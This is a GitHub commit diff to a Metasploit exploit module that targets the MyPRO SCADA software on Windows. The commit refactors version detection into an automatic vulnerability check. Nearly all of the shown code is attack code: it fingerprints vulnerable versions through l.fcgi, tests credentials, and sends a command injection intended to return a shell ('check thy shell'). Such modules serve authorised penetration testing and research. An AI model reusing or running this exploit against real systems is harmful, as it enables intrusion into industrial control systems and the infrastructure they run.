Skip to content

Commit c1bf8df

Browse files
committed
Updated the module to take advantage of the check method
1 parent 9bfaf63 commit c1bf8df

File tree

1 file changed

+37
-37
lines changed

1 file changed

+37
-37
lines changed

modules/exploits/windows/scada/mypro_cmdexe.rb

Lines changed: 37 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
class MetasploitModule < Msf::Exploit::Remote
22
Rank = ExcellentRanking
33
include Msf::Exploit::Remote::HttpClient
4-
include Msf::Exploit::CmdStager
4+
prepend Msf::Exploit::Remote::AutoCheck
55

66
def initialize(info = {})
77
super(
@@ -60,63 +60,63 @@ def initialize(info = {})
6060
)
6161
end
6262

63-
def exploit
64-
connect
65-
case target['Type']
66-
when :win_fetch
67-
execute_command(payload.encoded)
68-
end
69-
end
70-
71-
def execute_command(cmd, _opts = {})
72-
print_status('Checking MyPRO version...')
73-
check_version
74-
print_status('Checking credentials...')
75-
check_auth
76-
print_status('Sending command injection...')
77-
exec_mypro(cmd)
78-
print_status('Exploit finished, check thy shell.')
79-
handler
80-
end
81-
8263
# Determine if the MyPRO instance runs a vulnerable version
83-
def check_version
84-
res = send_request_cgi({
85-
'method' => 'POST',
86-
'uri' => normalize_uri(target_uri.path, 'l.fcgi'),
87-
'vars_post' => {
88-
't' => '98'
89-
}
90-
})
91-
92-
unless res
93-
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
94-
64+
def check
65+
begin
66+
res = send_request_cgi({
67+
'method' => 'POST',
68+
'uri' => normalize_uri(target_uri.path, 'l.fcgi'),
69+
'vars_post' => {
70+
't' => '98'
71+
}
72+
})
73+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
74+
return CheckCode::Unknown
75+
ensure
76+
disconnect
9577
end
78+
9679
if res && res.code == 200
9780
regex = /\{.*\}/m
9881
json_body = res.body[regex, 0]
9982
data = JSON.parse(json_body)
10083
version = data['V']
10184
if version.nil?
102-
fail_with(Failure::Unknown, 'Version missing from server response.')
85+
return CheckCode::Unknown
10386
else
104-
print_good('Version retrieved: ' + version)
87+
vprint_status('Version retrieved: ' + version)
10588
end
10689

10790
parts = version.split('.')
10891
major = parts[0]
10992
minor = parts[1]
11093
if major.to_i == 8 && minor.to_i <= 28
111-
print_good('Version is vulnerable.')
94+
return CheckCode::Appears
11295
else
113-
fail_with(Failure::NotVulnerable, 'Version is not vulnerable.')
96+
return CheckCode::Safe
11497
end
11598
else
116-
fail_with(Failure::Unknown, 'Unexpected server response received.')
99+
return CheckCode::Unknown
117100
end
118101
end
119102

103+
def exploit
104+
connect
105+
case target['Type']
106+
when :win_fetch
107+
execute_command(payload.encoded)
108+
end
109+
end
110+
111+
def execute_command(cmd)
112+
print_status('Checking credentials...')
113+
check_auth
114+
print_status('Sending command injection...')
115+
exec_mypro(cmd)
116+
print_status('Exploit finished, check thy shell.')
117+
handler
118+
end
119+
120120
# Check if credentials are working
121121
def check_auth
122122
res = send_request_cgi({

0 commit comments

Comments
 (0)